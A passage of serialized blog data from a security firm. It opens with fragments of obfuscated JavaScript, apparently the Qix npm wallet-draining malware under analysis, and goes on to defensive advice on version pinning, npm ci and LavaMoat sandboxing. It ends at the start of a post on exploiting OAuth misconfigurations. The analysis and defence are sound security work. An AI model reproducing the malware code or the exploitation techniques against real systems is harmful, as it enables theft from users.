6,100980,100984,100988,100992],{"type":21,"tag":153,"props":100972,"children":100973},{"style":192},[100974],{"type":26,"value":100975},"        _0x5ad975",{"type":21,"tag":153,"props":100977,"children":100978},{"style":198},[100979],{"type":26,"value":255},{"type":21,"tag":153,"props":100981,"children":100982},{"style":192},[100983],{"type":26,"value":100910},{"type":21,"tag":153,"props":100985,"children":100986},{"style":160},[100987],{"type":26,"value":355},{"type":21,"tag":153,"props":100989,"children":100990},{"style":192},[100991],{"type":26,"value":100963},{"type":21,"tag":153,"props":100993,"children":100994},{"style":160},[100995],{"type":26,"value":1759},{"type":21,"tag":153,"props":100997,"children":100998},{"class":155,"line":3239},[100999],{"type":21,"tag":153,"props":101000,"children":101001},{"style":160},[101002],{"type":26,"value":15381},{"type":21,"tag":153,"props":101004,"children":101005},{"class":155,"line":3253},[101006,101010,101015,101019,101023,101027,101031,101035,101039],{"type":21,"tag":153,"props":101007,"children":101008},{"style":170},[101009],{"type":26,"value":34242},{"type":21,"tag":153,"props":101011,"children":101012},{"style":192},[101013],{"type":26,"value":101014}," _0x5dbe63",{"type":21,"tag":153,"props":101016,"children":101017},{"style":198},[101018],{"type":26,"value":255},{"type":21,"tag":153,"props":101020,"children":101021},{"style":181},[101022],{"type":26,"value":100639},{"type":21,"tag":153,"props":101024,"children":101025},{"style":160},[101026],{"type":26,"value":189},{"type":21,"tag":153,"props":101028,"children":101029},{"style":192},[101030],{"type":26,"value":100954},{"type":21,"tag":153,"props":101032,"children":101033},{"style":160},[101034],{"type":26,"value":1670},{"type":21,"tag":153,"props":101036,"children":101037},{"style":170},[101038],{"type":26,"value":10901},{"type":21,"tag":153,"props":101040,"children":101041},{"style":160},[101042],{"type":26,"value":530},{"type":21,"tag":153,"props":101044,"children":101045},{"class":155,"line":3301},[101046,101050,101054,101058,101062,101066,101070,101074,101078,101082],{"type":21,"tag":153,"props":101047,"children":101048},{"style":1751},[101049],{"type":26,"value":41978},{"type":21,"tag":153,"props":101051,"children":101052},{"style":160},[101053],{"type":26,"value":5820},{"type":21,"tag":153,"props":101055,"children":101056},{"style":192},[101057],{"type":26,"value":100544},{"type":21,"tag":153,"props":101059,"children":101060},{"style":160},[101061],{"type":26,"value":355},{"type":21,"tag":153,"props":101063,"children":101064},{"style":192},[101065],{"type":26,"value":100579},{"type":21,"tag":153,"props":101067,"children":101068},{"style":160},[101069],{"type":26,"value":211},{"type":21,"tag":153,"props":101071,"children":101072},{"style":300},[101073],{"type":26,"value":2996},{"type":21,"tag":153,"props":101075,"children":101076},{"style":160},[101077],{"type":26,"value":52639},{"type":21,"tag":153,"props":101079,"children":101080},{"style":192},[101081],{"type":26,"value":100963},{"type":21,"tag":153,"props":101083,"children":101084},{"style":160},[101085],{"type":26,"value":2659},{"type":21,"tag":153,"props":101087,"children":101088},{"class":155,"line":3346},[101089,101094,101098,101102,101106,101110,101114,101118,101122,101126],{"type":21,"tag":153,"props":101090,"children":101091},{"style":192},[101092],{"type":26,"value":101093},"        _0x2c3d7e",{"type":21,"tag":153,"props":101095,"children":101096},{"style":160},[101097],{"type":26,"value":355},{"type":21,"tag":153,"props":101099,"children":101100},{"style":192},[101101],{"type":26,"value":100579},{"type":21,"tag":153,"props":101103,"children":101104},{"style":160},[101105],{"type":26,"value":211},{"type":21,"tag":153,"props":101107,"children":101108},{"style":300},[101109],{"type":26,"value":2996},{"type":21,"tag":153,"props":101111,"children":101112},{"style":160},[101113],{"type":26,"value":52639},{"type":21,"tag":153,"props":101115,"children":101116},{"style":192},[101117],{"type":26,"value":100963},{"type":21,"tag":153,"props":101119,"children":101120},{"style":198},[101121],{"type":26,"value":255},{"type":21,"tag":153,"props":101123,"children":101124},{"style":192},[101125],{"type":26,"value":101014},{"type":21,"tag":153,"props":101127,"children":101128},{"style":160},[101129],{"type":26,"value":1759},{"type":21,"tag":153,"props":101131,"children":101132},{"class":155,"line":3355},[101133,101137,101141],{"type":21,"tag":153,"props":101134,"children":101135},{"style":160},[101136],{"type":26,"value":41632},{"type":21,"tag":153,"props":101138,"children":101139},{"style":1751},[101140],{"type":26,"value":2717},{"type":21,"tag":153,"props":101142,"children":101143},{"style":160},[101144],{"type":26,"value":236},{"type":21,"tag":153,"props":101146,"children":101147},{"class":155,"line":3364},[101148,101152,101156,101160,101164,101168,101172,101176,101180],{"type":21,"tag":153,"props":101149,"children":101150},{"style":192},[101151],{"type":26,"value":101093},{"type":21,"tag":153,"props":101153,"children":101154},{"style":160},[101155],{"type":26,"value":355},{"type":21,"tag":153,"props":101157,"children":101158},{"style":192},[101159],{"type":26,"value":100579},{"type":21,"tag":153,"props":101161,"children":101162},{"style":160},[101163],{"type":26,"value":211},{"type":21,"tag":153,"props":101165,"children":101166},{"style":300},[101167],{"type":26,"value":2996},{"type":21,"tag":153,"props":101169,"children":101170},{"style":160},[101171],{"type":26,"value":11387},{"type":21,"tag":153,"props":101173,"children":101174},{"style":198},[101175],{"type":26,"value":2367},{"type":21,"tag":153,"props":101177,"children":101178},{"style":192},[101179],{"type":26,"value":101014},{"type":21,"tag":153,"props":101181,"children":101182},{"style":160},[101183],{"type":26,"value":1759},{"type":21,"tag":153,"props":101185,"children":101186},{"class":155,"line":3376},[101187],{"type":21,"tag":153,"props":101188,"children":101189},{"style":160},[101190],{"type":26,"value":15381},{"type":21,"tag":153,"props":101192,"children":101193},{"class":155,"line":3393},[101194,101198,101202,101206,101211],{"type":21,"tag":153,"props":101195,"children":101196},{"style":160},[101197],{"type":26,"value":18476},{"type":21,"tag":153,"props":101199,"children":101200},{"style":1751},[101201],{"type":26,"value":50701},{"type":21,"tag":153,"props":101203,"children":101204},{"style":160},[101205],{"type":26,"value":5820},{"type":21,"tag":153,"props":101207,"children":101208},{"style":192},[101209],{"type":26,"value":101210},"_0x4b99fd",{"type":21,"tag":153,"props":101212,"children":101213},{"style":160},[101214],{"type":26,"value":100740},{"type":21,"tag":153,"props":101216,"children":101217},{"class":155,"line":3405},[101218],{"type":21,"tag":153,"props":101219,"children":101220},{"style":160},[101221],{"type":26,"value":8601},{"type":21,"tag":153,"props":101223,"children":101224},{"class":155,"line":3427},[101225],{"type":21,"tag":153,"props":101226,"children":101227},{"style":160},[101228],{"type":26,"value":548},{"type":21,"tag":114,"props":101230,"children":101232},{"id":101231},"impact-of-the-attack",[101233],{"type":26,"value":101234},"Impact of the Attack",{"type":21,"tag":22,"props":101236,"children":101237},{},[101238],{"type":26,"value":101239},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":21,"tag":66,"props":101241,"children":101243},{"id":101242},"why-it-will-happen-again",[101244],{"type":26,"value":101245},"Why It Will Happen Again",{"type":21,"tag":22,"props":101247,"children":101248},{},[101249],{"type":26,"value":101250},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":21,"tag":22,"props":101252,"children":101253},{},[101254],{"type":26,"value":101255},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":21,"tag":66,"props":101257,"children":101259},{"id":101258},"what-developers-can-do",[101260],{"type":26,"value":101261},"What Developers Can Do",{"type":21,"tag":22,"props":101263,"children":101264},{},[101265],{"type":26,"value":101266},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":21,"tag":114,"props":101268,"children":101270},{"id":101269},"_1-version-pinning-in-packagejson",[101271,101273],{"type":26,"value":101272},"1. Version pinning in ",{"type":21,"tag":78,"props":101274,"children":101276},{"className":101275},[],[101277],{"type":26,"value":101278},"package.json",{"type":21,"tag":22,"props":101280,"children":101281},{},[101282],{"type":26,"value":101283},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":21,"tag":22,"props":101285,"children":101286},{},[101287,101289,101295,101297,101302,101304,101309],{"type":26,"value":101288},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":21,"tag":78,"props":101290,"children":101292},{"className":101291},[],[101293],{"type":26,"value":101294},"npm install",{"type":26,"value":101296},". To pin it, just make sure to remove the caret ",{"type":21,"tag":78,"props":101298,"children":101300},{"className":101299},[],[101301],{"type":26,"value":51224},{"type":26,"value":101303}," symbol before the version in ",{"type":21,"tag":78,"props":101305,"children":101307},{"className":101306},[],[101308],{"type":26,"value":101278},{"type":26,"value":201},{"type":21,"tag":143,"props":101311,"children":101313},{"code":101312,"language":36691,"meta":7,"className":36689,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[101314],{"type":21,"tag":78,"props":101315,"children":101316},{"__ignoreMap":7},[101317,101338,101359,101380],{"type":21,"tag":153,"props":101318,"children":101319},{"class":155,"line":156},[101320,101325,101329,101334],{"type":21,"tag":153,"props":101321,"children":101322},{"style":671},[101323],{"type":26,"value":101324},"\"@react-native-async-storage/async-storage\"",{"type":21,"tag":153,"props":101326,"children":101327},{"style":160},[101328],{"type":26,"value":18031},{"type":21,"tag":153,"props":101330,"children":101331},{"style":671},[101332],{"type":26,"value":101333},"\"1.23.1\"",{"type":21,"tag":153,"props":101335,"children":101336},{"style":160},[101337],{"type":26,"value":792},{"type":21,"tag":153,"props":101339,"children":101340},{"class":155,"line":166},[101341,101346,101350,101355],{"type":21,"tag":153,"props":101342,"children":101343},{"style":671},[101344],{"type":26,"value":101345},"\"@react-native-community/datetimepicker\"",{"type":21,"tag":153,"props":101347,"children":101348},{"style":160},[101349],{"type":26,"value":18031},{"type":21,"tag":153,"props":101351,"children":101352},{"style":671},[101353],{"type":26,"value":101354},"\"8.3.0\"",{"type":21,"tag":153,"props":101356,"children":101357},{"style":160},[101358],{"type":26,"value":792},{"type":21,"tag":153,"props":101360,"children":101361},{"class":155,"line":225},[101362,101367,101371,101376],{"type":21,"tag":153,"props":101363,"children":101364},{"style":671},[101365],{"type":26,"value":101366},"\"@react-native-community/netinfo\"",{"type":21,"tag":153,"props":101368,"children":101369},{"style":160},[101370],{"type":26,"value":18031},{"type":21,"tag":153,"props":101372,"children":101373},{"style":671},[101374],{"type":26,"value":101375},"\"11.4.1\"",{"type":21,"tag":153,"props":101377,"children":101378},{"style":160},[101379],{"type":26,"value":792},{"type":21,"tag":153,"props":101381,"children":101382},{"class":155,"line":239},[101383,101388,101392],{"type":21,"tag":153,"props":101384,"children":101385},{"style":671},[101386],{"type":26,"value":101387},"\"@react-native-picker/picker\"",{"type":21,"tag":153,"props":101389,"children":101390},{"style":160},[101391],{"type":26,"value":18031},{"type":21,"tag":153,"props":101393,"children":101394},{"style":671},[101395],{"type":26,"value":101396},"\"2.11.0\"\n",{"type":21,"tag":114,"props":101398,"children":101400},{"id":101399},"_2-use-npm-ci",[101401,101403],{"type":26,"value":101402},"2. Use ",{"type":21,"tag":78,"props":101404,"children":101406},{"className":101405},[],[101407],{"type":26,"value":101408},"npm ci",{"type":21,"tag":22,"props":101410,"children":101411},{},[101412,101417,101419,101425,101427,101432],{"type":21,"tag":78,"props":101413,"children":101415},{"className":101414},[],[101416],{"type":26,"value":101408},{"type":26,"value":101418}," uses the dependency versions from ",{"type":21,"tag":78,"props":101420,"children":101422},{"className":101421},[],[101423],{"type":26,"value":101424},"package-lock.json",{"type":26,"value":101426}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":21,"tag":78,"props":101428,"children":101430},{"className":101429},[],[101431],{"type":26,"value":101294},{"type":26,"value":101433}," when adding a new package or updating an existing one.",{"type":21,"tag":114,"props":101435,"children":101437},{"id":101436},"_3-implement-lavamoat",[101438,101440],{"type":26,"value":101439},"3. Implement ",{"type":21,"tag":29,"props":101441,"children":101444},{"href":101442,"rel":101443},"https://github.com/LavaMoat/LavaMoat/tree/main",[33],[101445],{"type":21,"tag":8055,"props":101446,"children":101447},{},[101448],{"type":26,"value":101449},"Lavamoat",{"type":21,"tag":22,"props":101451,"children":101452},{},[101453],{"type":26,"value":101454},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":21,"tag":22,"props":101456,"children":101457},{},[101458],{"type":26,"value":101459},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":21,"tag":143,"props":101461,"children":101463},{"code":101462,"language":36691,"meta":7,"className":36689,"style":7},"\"resources\": {\n    \"@ethereumjs/util>@ethereumjs/rlp\": {\n      \"globals\": {\n        \"TextEncoder\": true\n      }\n    },\n    \"@ethereumjs/util\": {\n      \"globals\": {\n        \"console.warn\": true,\n        \"fetch\": true\n      },\n      \"packages\": {\n        \"@ethereumjs/util>@ethereumjs/rlp\": true,\n        \"@ethereumjs/util>ethereum-cryptography\": true\n      }\n    }\n}\n",[101464],{"type":21,"tag":78,"props":101465,"children":101466},{"__ignoreMap":7},[101467,101479,101491,101502,101518,101525,101532,101544,101555,101575,101591,101598,101609,101629,101645,101652,101659],{"type":21,"tag":153,"props":101468,"children":101469},{"class":155,"line":156},[101470,101475],{"type":21,"tag":153,"props":101471,"children":101472},{"style":671},[101473],{"type":26,"value":101474},"\"resources\"",{"type":21,"tag":153,"props":101476,"children":101477},{"style":160},[101478],{"type":26,"value":39715},{"type":21,"tag":153,"props":101480,"children":101481},{"class":155,"line":166},[101482,101487],{"type":21,"tag":153,"props":101483,"children":101484},{"style":192},[101485],{"type":26,"value":101486},"    \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":21,"tag":153,"props":101488,"children":101489},{"style":160},[101490],{"type":26,"value":39715},{"type":21,"tag":153,"props":101492,"children":101493},{"class":155,"line":225},[101494,101498],{"type":21,"tag":153,"props":101495,"children":101496},{"style":192},[101497],{"type":26,"value":39723},{"type":21,"tag":153,"props":101499,"children":101500},{"style":160},[101501],{"type":26,"value":39715},{"type":21,"tag":153,"props":101503,"children":101504},{"class":155,"line":239},[101505,101510,101514],{"type":21,"tag":153,"props":101506,"children":101507},{"style":192},[101508],{"type":26,"value":101509},"        \"TextEncoder\"",{"type":21,"tag":153,"props":101511,"children":101512},{"style":160},[101513],{"type":26,"value":18031},{"type":21,"tag":153,"props":101515,"children":101516},{"style":170},[101517],{"type":26,"value":39884},{"type":21,"tag":153,"props":101519,"children":101520},{"class":155,"line":382},[101521],{"type":21,"tag":153,"props":101522,"children":101523},{"style":160},[101524],{"type":26,"value":15381},{"type":21,"tag":153,"props":101526,"children":101527},{"class":155,"line":501},[101528],{"type":21,"tag":153,"props":101529,"children":101530},{"style":160},[101531],{"type":26,"value":28078},{"type":21,"tag":153,"props":101533,"children":101534},{"class":155,"line":533},[101535,101540],{"type":21,"tag":153,"props":101536,"children":101537},{"style":192},[101538],{"type":26,"value":101539},"    \"@ethereumjs/util\"",{"type":21,"tag":153,"props":101541,"children":101542},{"style":160},[101543],{"type":26,"value":39715},{"type":21,"tag":153,"props":101545,"children":101546},{"class":155,"line":542},[101547,101551],{"type":21,"tag":153,"props":101548,"children":101549},{"style":192},[101550],{"type":26,"value":39723},{"type":21,"tag":153,"props":101552,"children":101553},{"style":160},[101554],{"type":26,"value":39715},{"type":21,"tag":153,"props":101556,"children":101557},{"class":155,"line":762},[101558,101563,101567,101571],{"type":21,"tag":153,"props":101559,"children":101560},{"style":192},[101561],{"type":26,"value":101562},"        \"console.warn\"",{"type":21,"tag":153,"props":101564,"children":101565},{"style":160},[101566],{"type":26,"value":18031},{"type":21,"tag":153,"props":101568,"children":101569},{"style":170},[101570],{"type":26,"value":3294},{"type":21,"tag":153,"props":101572,"children":101573},{"style":160},[101574],{"type":26,"value":792},{"type":21,"tag":153,"props":101576,"children":101577},{"class":155,"line":776},[101578,101583,101587],{"type":21,"tag":153,"props":101579,"children":101580},{"style":192},[101581],{"type":26,"value":101582},"        \"fetch\"",{"type":21,"tag":153,"props":101584,"children":101585},{"style":160},[101586],{"type":26,"value":18031},{"type":21,"tag":153,"props":101588,"children":101589},{"style":170},[101590],{"type":26,"value":39884},{"type":21,"tag":153,"props":101592,"children":101593},{"class":155,"line":795},[101594],{"type":21,"tag":153,"props":101595,"children":101596},{"style":160},[101597],{"type":26,"value":39892},{"type":21,"tag":153,"props":101599,"children":101600},{"class":155,"line":808},[101601,101605],{"type":21,"tag":153,"props":101602,"children":101603},{"style":192},[101604],{"type":26,"value":39900},{"type":21,"tag":153,"props":101606,"children":101607},{"style":160},[101608],{"type":26,"value":39715},{"type":21,"tag":153,"props":101610,"children":101611},{"class":155,"line":820},[101612,101617,101621,101625],{"type":21,"tag":153,"props":101613,"children":101614},{"style":192},[101615],{"type":26,"value":101616},"        \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":21,"tag":153,"props":101618,"children":101619},{"style":160},[101620],{"type":26,"value":18031},{"type":21,"tag":153,"props":101622,"children":101623},{"style":170},[101624],{"type":26,"value":3294},{"type":21,"tag":153,"props":101626,"children":101627},{"style":160},[101628],{"type":26,"value":792},{"type":21,"tag":153,"props":101630,"children":101631},{"class":155,"line":842},[101632,101637,101641],{"type":21,"tag":153,"props":101633,"children":101634},{"style":192},[101635],{"type":26,"value":101636},"        \"@ethereumjs/util>ethereum-cryptography\"",{"type":21,"tag":153,"props":101638,"children":101639},{"style":160},[101640],{"type":26,"value":18031},{"type":21,"tag":153,"props":101642,"children":101643},{"style":170},[101644],{"type":26,"value":39884},{"type":21,"tag":153,"props":101646,"children":101647},{"class":155,"line":3204},[101648],{"type":21,"tag":153,"props":101649,"children":101650},{"style":160},[101651],{"type":26,"value":15381},{"type":21,"tag":153,"props":101653,"children":101654},{"class":155,"line":3230},[101655],{"type":21,"tag":153,"props":101656,"children":101657},{"style":160},[101658],{"type":26,"value":539},{"type":21,"tag":153,"props":101660,"children":101661},{"class":155,"line":3239},[101662],{"type":21,"tag":153,"props":101663,"children":101664},{"style":160},[101665],{"type":26,"value":548},{"type":21,"tag":22,"props":101667,"children":101668},{},[101669,101671,101677,101679,101685,101686,101691,101693,101699,101700,101706],{"type":26,"value":101670},"In this example, it restricts the ",{"type":21,"tag":78,"props":101672,"children":101674},{"className":101673},[],[101675],{"type":26,"value":101676},"@ethereumjs/util",{"type":26,"value":101678}," package to use only ",{"type":21,"tag":78,"props":101680,"children":101682},{"className":101681},[],[101683],{"type":26,"value":101684},"console.warn",{"type":26,"value":52},{"type":21,"tag":78,"props":101687,"children":101689},{"className":101688},[],[101690],{"type":26,"value":36788},{"type":26,"value":101692}," functions, and to include only ",{"type":21,"tag":78,"props":101694,"children":101696},{"className":101695},[],[101697],{"type":26,"value":101698},"@ethereumjs/rlp",{"type":26,"value":52},{"type":21,"tag":78,"props":101701,"children":101703},{"className":101702},[],[101704],{"type":26,"value":101705},"ethereum-cryptography",{"type":26,"value":101707}," packages.",{"type":21,"tag":22,"props":101709,"children":101710},{},[101711],{"type":26,"value":101712},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":21,"tag":22,"props":101714,"children":101715},{},[101716,101718,101724],{"type":26,"value":101717},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":21,"tag":29,"props":101719,"children":101722},{"href":101720,"rel":101721},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[33],[101723],{"type":26,"value":40070},{"type":26,"value":355},{"type":21,"tag":114,"props":101726,"children":101728},{"id":101727},"lavamoat-vs-qix-malware",[101729],{"type":26,"value":101730},"Lavamoat vs Qix Malware",{"type":21,"tag":22,"props":101732,"children":101733},{},[101734,101736,101741],{"type":26,"value":101735},"If a dApp were compromised with the Qix malware (say it used ",{"type":21,"tag":78,"props":101737,"children":101739},{"className":101738},[],[101740],{"type":26,"value":99581},{"type":26,"value":101742},"), it would need to perform the following actions to drain funds from a wallet:",{"type":21,"tag":126,"props":101744,"children":101745},{},[101746,101758,101769,101780],{"type":21,"tag":91,"props":101747,"children":101748},{},[101749,101751,101756],{"type":26,"value":101750},"Replace ",{"type":21,"tag":78,"props":101752,"children":101754},{"className":101753},[],[101755],{"type":26,"value":36788},{"type":26,"value":101757}," function to a custom one",{"type":21,"tag":91,"props":101759,"children":101760},{},[101761,101763],{"type":26,"value":101762},"Access ",{"type":21,"tag":78,"props":101764,"children":101766},{"className":101765},[],[101767],{"type":26,"value":101768},"window.ethereum",{"type":21,"tag":91,"props":101770,"children":101771},{},[101772,101774,101779],{"type":26,"value":101773},"Call original ",{"type":21,"tag":78,"props":101775,"children":101777},{"className":101776},[],[101778],{"type":26,"value":36788},{"type":26,"value":40907},{"type":21,"tag":91,"props":101781,"children":101782},{},[101783],{"type":26,"value":101784},"Plus other actions not relevant here",{"type":21,"tag":22,"props":101786,"children":101787},{},[101788,101790,101796],{"type":26,"value":101789},"If the dApp is using Lavamoat with a generated policy for ",{"type":21,"tag":78,"props":101791,"children":101793},{"className":101792},[],[101794],{"type":26,"value":101795},"chalk 5.6.0",{"type":26,"value":101797}," (non-malicious version) it would look like this:",{"type":21,"tag":143,"props":101799,"children":101801},{"code":101800,"language":36691,"meta":7,"className":36689,"style":7},"\"chalk\": {\n      \"globals\": {\n        \"navigator.userAgent\": true,\n        \"navigator.userAgentData\": true\n      }\n    },\n",[101802],{"type":21,"tag":78,"props":101803,"children":101804},{"__ignoreMap":7},[101805,101817,101828,101848,101864,101871],{"type":21,"tag":153,"props":101806,"children":101807},{"class":155,"line":156},[101808,101813],{"type":21,"tag":153,"props":101809,"children":101810},{"style":671},[101811],{"type":26,"value":101812},"\"chalk\"",{"type":21,"tag":153,"props":101814,"children":101815},{"style":160},[101816],{"type":26,"value":39715},{"type":21,"tag":153,"props":101818,"children":101819},{"class":155,"line":166},[101820,101824],{"type":21,"tag":153,"props":101821,"children":101822},{"style":192},[101823],{"type":26,"value":39723},{"type":21,"tag":153,"props":101825,"children":101826},{"style":160},[101827],{"type":26,"value":39715},{"type":21,"tag":153,"props":101829,"children":101830},{"class":155,"line":225},[101831,101836,101840,101844],{"type":21,"tag":153,"props":101832,"children":101833},{"style":192},[101834],{"type":26,"value":101835},"        \"navigator.userAgent\"",{"type":21,"tag":153,"props":101837,"children":101838},{"style":160},[101839],{"type":26,"value":18031},{"type":21,"tag":153,"props":101841,"children":101842},{"style":170},[101843],{"type":26,"value":3294},{"type":21,"tag":153,"props":101845,"children":101846},{"style":160},[101847],{"type":26,"value":792},{"type":21,"tag":153,"props":101849,"children":101850},{"class":155,"line":239},[101851,101856,101860],{"type":21,"tag":153,"props":101852,"children":101853},{"style":192},[101854],{"type":26,"value":101855},"        \"navigator.userAgentData\"",{"type":21,"tag":153,"props":101857,"children":101858},{"style":160},[101859],{"type":26,"value":18031},{"type":21,"tag":153,"props":101861,"children":101862},{"style":170},[101863],{"type":26,"value":39884},{"type":21,"tag":153,"props":101865,"children":101866},{"class":155,"line":382},[101867],{"type":21,"tag":153,"props":101868,"children":101869},{"style":160},[101870],{"type":26,"value":15381},{"type":21,"tag":153,"props":101872,"children":101873},{"class":155,"line":501},[101874],{"type":21,"tag":153,"props":101875,"children":101876},{"style":160},[101877],{"type":26,"value":28078},{"type":21,"tag":22,"props":101879,"children":101880},{},[101881,101883,101889],{"type":26,"value":101882},"That means that the chalk dependency can only access these two global attributes from ",{"type":21,"tag":78,"props":101884,"children":101886},{"className":101885},[],[101887],{"type":26,"value":101888},"navigator",{"type":26,"value":355},{"type":21,"tag":22,"props":101891,"children":101892},{},[101893,101895,101901],{"type":26,"value":101894},"When the compromised dApp would execute the malicious payload of ",{"type":21,"tag":78,"props":101896,"children":101898},{"className":101897},[],[101899],{"type":26,"value":101900},"chalk v5.6.1",{"type":26,"value":101902}," it would fail due to insufficient permissions:",{"type":21,"tag":22,"props":101904,"children":101905},{},[101906],{"type":21,"tag":3644,"props":101907,"children":101909},{"alt":52869,"src":101908},"/posts/supply-chain-attcks/error.png",[],{"type":21,"tag":22,"props":101911,"children":101912},{},[101913,101915,101920],{"type":26,"value":101914},"This error shows that the malware failed since it cannot redefine ",{"type":21,"tag":78,"props":101916,"children":101918},{"className":101917},[],[101919],{"type":26,"value":36788},{"type":26,"value":28165},{"type":21,"tag":143,"props":101922,"children":101924},{"code":101923},"TypeError#1: Cannot define property fetch, object is not extensible\n",[101925],{"type":21,"tag":78,"props":101926,"children":101927},{"__ignoreMap":7},[101928],{"type":26,"value":101923},{"type":21,"tag":66,"props":101930,"children":101932},{"id":101931},"lavamoat-in-practice",[101933],{"type":26,"value":101934},"Lavamoat In Practice",{"type":21,"tag":22,"props":101936,"children":101937},{},[101938,101940,101947],{"type":26,"value":101939},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":21,"tag":29,"props":101941,"children":101944},{"href":101942,"rel":101943},"https://osec.io/reports/lavamoat_audit_final.pdf",[33],[101945],{"type":26,"value":101946},"see the audit report",{"type":26,"value":23436},{"type":21,"tag":22,"props":101949,"children":101950},{},[101951],{"type":26,"value":101952},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":21,"tag":66,"props":101954,"children":101955},{"id":78094},[101956],{"type":26,"value":78097},{"type":21,"tag":22,"props":101958,"children":101959},{},[101960],{"type":26,"value":101961},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":21,"tag":22,"props":101963,"children":101964},{},[101965,101967,101972],{"type":26,"value":101966},"Version pinning and ",{"type":21,"tag":78,"props":101968,"children":101970},{"className":101969},[],[101971],{"type":26,"value":101408},{"type":26,"value":101973}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":21,"tag":5603,"props":101975,"children":101976},{},[101977],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":101979},[101980,101983,101984,101993,101994],{"id":99596,"depth":166,"text":99599,"children":101981},[101982],{"id":101231,"depth":225,"text":101234},{"id":101242,"depth":166,"text":101245},{"id":101258,"depth":166,"text":101261,"children":101985},[101986,101988,101990,101992],{"id":101269,"depth":225,"text":101987},"1. Version pinning in package.json",{"id":101399,"depth":225,"text":101989},"2. Use npm ci",{"id":101436,"depth":225,"text":101991},"3. Implement Lavamoat",{"id":101727,"depth":225,"text":101730},{"id":101931,"depth":166,"text":101934},{"id":78094,"depth":166,"text":78097},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":101999,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":102000,"description":102001,"date":102002,"author":102003,"image":102004,"isFeatured":16,"onBlogPage":16,"tags":102006,"body":102009,"_type":5619,"_id":104340,"_source":5621,"_file":104341,"_stem":104342,"_extension":5624},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[33896,33895],{"src":102005,"width":99565,"height":16340},"/posts/oauth-misconfigurations/title.png",[102007,102008],"oAuth","exchanges",{"type":18,"children":102010,"toc":104327},[102011,102017,102022,102028,102048,102054,102059,102072,102077,102085,102099,102108,102117,102131,102139,102150,102210,102216,102228,102277,102283,102288,102301,102308,102319,102339,102358,102379,102385,102398,102403,102409,102428,103053,103058,103071,103932,103937,103942,103948,103953,103959,103964,103977,104017,104023,104036,104041,104074,104079,104084,104109,104114,104126,104283,104288,104292,104304,104309,104313,104318,104323],{"type":21,"tag":66,"props":102012,"children":102014},{"id":102013},"exploiting-oauth",[102015],{"type":26,"value":102016},"Exploiting OAuth",{"type":21,"tag":22,"props":102018,"children":102019},{},[102020],{"type":26,"value":102021},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":21,"tag":114,"props":102023,"children":102025},{"id":102024},"google-authentication-flows",[102026],{"type":26,"value":102027},"Google Authentication Flows",{"type":21,"tag":22,"props":102029,"children":102030},{},[102031,102033,102039,102041,102046],{"type":26,"value":102032},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":21,"tag":78,"props":102034,"children":102036},{"className":102035},[],[102037],{"type":26,"value":102038},"postMessage",{"type":26,"value":102040}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":21,"tag":78,"props":102042,"children":102044},{"className":102043},[],[102045],{"type":26,"value":72060},{"type":26,"value":102047}," to send the token back to the RP.",{"type":21,"tag":21591,"props":102049,"children":102051},{"id":102050},"gsi-new-flow",[102052],{"type":26,"value":102053},"GSI (New 